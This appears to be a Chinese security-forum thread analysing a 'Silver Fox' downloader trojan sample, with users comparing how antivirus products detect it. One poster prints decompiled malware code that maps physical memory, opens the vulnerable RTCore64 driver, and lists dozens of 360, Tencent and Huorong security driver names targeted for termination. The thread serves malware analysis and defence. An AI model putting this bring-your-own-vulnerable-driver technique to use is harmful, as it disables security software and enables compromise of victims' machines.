银狐下载者木马 1x

显示全部楼层 · 发表于前天 17:28

UNknownOoo 发表于 2025-5-22 11:28
火绒
扫描：未检出
运行：被摸碎

@wowocock 似乎有火绒处理不了的

显示全部楼层 · 发表于前天 17:39

Rukia 发表于 2025-5-22 17:28
@wowocock 似乎有火绒处理不了的

PYTHON的计划任务白利用。

显示全部楼层 · 发表于前天 17:51

UNknownOoo 发表于 2025-5-22 17:21
是，文件好像都被删了

NTSTATUS __fastcall sub_11120(__int64 a1, PHYSICAL_ADDRESS *a2, unsigned int a3, unsigned int a4)
{
  PHYSICAL_ADDRESS v7; // rbx
  DWORD LowPart; // esi
  NTSTATUS result; // eax
  BOOLEAN v10; // bl
  BOOLEAN v11; // al
  DWORD v12; // ecx
  NTSTATUS v13; // ebx
  void *SectionHandle; // [rsp+50h] [rbp-A8h] BYREF
  union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-A0h] BYREF
  PHYSICAL_ADDRESS BusAddress; // [rsp+60h] [rbp-98h] BYREF
  PVOID BaseAddress; // [rsp+68h] [rbp-90h] BYREF
  ULONG v18; // [rsp+70h] [rbp-88h] BYREF
  ULONG AddressSpace; // [rsp+74h] [rbp-84h] BYREF
  LARGE_INTEGER TranslatedAddress; // [rsp+78h] [rbp-80h] BYREF
  ULONG_PTR ViewSize; // [rsp+80h] [rbp-78h] BYREF
  PVOID Object; // [rsp+88h] [rbp-70h] BYREF
  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+90h] [rbp-68h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+C0h] [rbp-38h] BYREF

  SectionHandle = 0i64;
  Object = 0i64;
  if ( !(unsigned __int8)sub_11060(a2->QuadPart, a2[1].LowPart, (char *)&a2[1].QuadPart + 4) )
return -1073741823;
  if ( a3 < 0x20 || a4 < 8 )
return -1073741670;
  v7 = *a2;
  v18 = 0;
  AddressSpace = 0;
  LowPart = a2[1].LowPart;
  RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0i64;
  ObjectAttributes.Attributes = 576;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0i64;
  ObjectAttributes.SecurityQualityOfService = 0i64;
  result = ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
  if ( result >= 0 )
  {
result = ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64);
if ( result >= 0 )
{
   BusAddress.QuadPart = v7.QuadPart + LowPart;
   v10 = HalTranslateBusAddress(Isa, 0, v7, &AddressSpace, &TranslatedAddress);
   v11 = HalTranslateBusAddress(Isa, 0, BusAddress, &v18, &BusAddress);
   if ( !v10 )
      return -1073741823;
   if ( !v11 )
      return -1073741823;
   v12 = BusAddress.LowPart - TranslatedAddress.LowPart;
   SectionOffset.QuadPart = BusAddress.QuadPart - TranslatedAddress.QuadPart;
   if ( BusAddress.LowPart == TranslatedAddress.LowPart )
      return -1073741823;
   SectionOffset = TranslatedAddress;
   BaseAddress = 0i64;
   ViewSize = v12;
   v13 = ZwMapViewOfSection(
            SectionHandle,
            (HANDLE)0xFFFFFFFFFFFFFFFFi64,
            &BaseAddress,
            0i64,
            v12,
            &SectionOffset,
            &ViewSize,
            ViewShare,
            0,
            0x204u);
   if ( v13 >= 0 )
   {
      BaseAddress = (char *)BaseAddress + TranslatedAddress.LowPart - (unsigned __int64)SectionOffset.LowPart;
      a2->QuadPart = (LONGLONG)BaseAddress;
      ZwClose(SectionHandle);
      return 0;
   }
   else
   {
      ZwClose(SectionHandle);
      return v13;
   }
}
  }
  return result;
}
利用任意内存读写漏洞驱动加载恶意代码后，干掉火绒。

显示全部楼层 · 发表于前天 18:14

__int64 sub_18000486C()
{
  hObject = CreateFileW(L"\\\\.\\RTCore64", 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
  if ( hObject != (HANDLE)-1i64 )
return 1i64;
  if ( (unsigned int)sub_180004A0C() )
  {
hObject = CreateFileW(L"\\\\.\\RTCore64", 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
return 1i64;
  }
  return 0i64;
}

显示全部楼层 · 发表于前天 18:20

data:0000000180043000 ; char *off_180043000
.data:0000000180043000 off_180043000 dq offset a360avfltSys  ; DATA XREF: sub_1800048F8+F↑r
.data:0000000180043000                                        ; sub_1800048F8+34↑o
.data:0000000180043000                                        ; "360AvFlt.sys"
.data:0000000180043008                dq offset a360fsfltSys  ; "360FsFlt.sys"
.data:0000000180043010                dq offset a360fsfltWin10S ; "360fsflt_win10.sys"
.data:0000000180043018                dq offset a360hvm64Win10S ; "360hvm64_win10.sys"
.data:0000000180043020                dq offset a360hvm64Sys  ; "360Hvm64.sys"
.data:0000000180043028                dq offset a360qpesv64Win1 ; "360qpesv64_win10.sys"
.data:0000000180043030                dq offset a360qpesv64Sys ; "360qpesv64.sys"
.data:0000000180043038                dq offset a360box64Sys  ; "360Box64.sys"
.data:0000000180043040                dq offset a360box64Win10S ; "360box64_win10.sys"
.data:0000000180043048                dq offset a360antihacker6 ; "360AntiHacker64.sys"
.data:0000000180043050                dq offset a360antihacker6_0 ; "360antihacker64_win10.sys"
.data:0000000180043058                dq offset a360antisteal64 ; "360AntiSteal64.sys"
.data:0000000180043060                dq offset a360antisteal64_0 ; "360AntiSteal64_win10.sys"
.data:0000000180043068                dq offset a360antistealSy ; "360AntiSteal.sys"
.data:0000000180043070                dq offset a360antistealWi ; "360AntiSteal_win10.sys"
.data:0000000180043078                dq offset a360qpesvSys  ; "360qpesv.sys"
.data:0000000180043080                dq offset a360qpesvWin10S ; "360qpesv_win10.sys"
.data:0000000180043088                dq offset a360qpesv64Sys ; "360qpesv64.sys"
.data:0000000180043090                dq offset a360qpesv64Win1 ; "360qpesv64_win10.sys"
.data:0000000180043098                dq offset a360netmonSys ; "360netmon.sys"
.data:00000001800430A0                dq offset a360netmonX64Wf ; "360netmon_x64_wfp.sys"
.data:00000001800430A8                dq offset a360netmonX64Sy ; "360netmon_x64.sys"
.data:00000001800430B0                dq offset a360netmon60Sys ; "360netmon_60.sys"
.data:00000001800430B8                dq offset a360netmon50Sys ; "360netmon_50.sys"
.data:00000001800430C0                dq offset a360antihijack6 ; "360AntiHijack64.sys"
.data:00000001800430C8                dq offset a360antihijack6_0 ; "360AntiHijack64_win10.sys"
.data:00000001800430D0                dq offset a360antiexploit ; "360AntiExploit64.sys"
.data:00000001800430D8                dq offset aDsark64Sys ; "dsark64.sys"
.data:00000001800430E0                dq offset aDsark64Win10Sy ; "DsArk64_win10.sys"
.data:00000001800430E8                dq offset a360sensor64Sys ; "360Sensor64.sys"
.data:00000001800430F0                dq offset aDsarkSys    ; "DsArk.sys"
.data:00000001800430F8                dq offset aDsarkWin10Sys ; "DsArk_win10.sys"
.data:0000000180043100                dq offset aQmbsecx64Sys ; "qmbsecx64.sys"
.data:0000000180043108                dq offset aQqsysmonx64EvS ; "QQSysMonX64_EV.sys"
.data:0000000180043110                dq offset aTfsfltx64EvSys ; "TFsFltX64_ev.sys"
.data:0000000180043118                dq offset aTssyskit64EvSy ; "TSSysKit64_EV.sys"
.data:0000000180043120                dq offset aQqpchwX64EvSys ; "QQPCHW-x64_ev.sys"
.data:0000000180043128                dq offset aTaokernelex64E ; "TAOKernelEx64_ev.sys"
.data:0000000180043130                dq offset aTaoaccelerator ; "TAOAcceleratorEx64_ev.sys"
.data:0000000180043138                dq offset aQmudisk64EvSys ; "QMUdisk64_ev.sys"
.data:0000000180043140                dq offset aQmudisk64Sys ; "QMUdisk64.sys"
.data:0000000180043148                dq offset aQqpchwX64Sys ; "QQPCHW-x64.sys"
.data:0000000180043150                dq offset aQqsysmonx64Sys ; "QQSysMonX64.sys"
.data:0000000180043158                dq offset aTaoaccelerator_0 ; "TAOAccelerator64.sys"
.data:0000000180043160                dq offset aTaokernel64Sys ; "TAOKernel64.sys"
.data:0000000180043168                dq offset aTfsfltx64Sys ; "TFsFltX64.sys"
.data:0000000180043170                dq offset aTsnethlpx64Sys ; "TsNetHlpX64.sys"
.data:0000000180043178                dq offset aTsskx64Sys ; "tsskx64.sys"
.data:0000000180043180                dq offset aTssyskit64Sys ; "TSSysKit64.sys"
.data:0000000180043188                dq offset aHrdevmonSys  ; "hrdevmon.sys"
.data:0000000180043190                dq offset aHrwfpdrvSys  ; "hrwfpdrv.sys"
.data:0000000180043198                dq offset aSysdiagSys ; "sysdiag.sys"
.data:00000001800431A0                db 0
干的可够多的。

显示全部楼层 · 发表于前天 22:55

wowocock 发表于 2025-5-22 18:20
data:0000000180043000 ; char *off_180043000
.data:0000000180043000 off_180043000 dq offset a360av ...

厉害

显示全部楼层 · 发表于前天 23:25

腾讯电脑管家 1X

[病毒样本] 银狐下载者木马 1x

评分

评分

本帖子中包含更多资源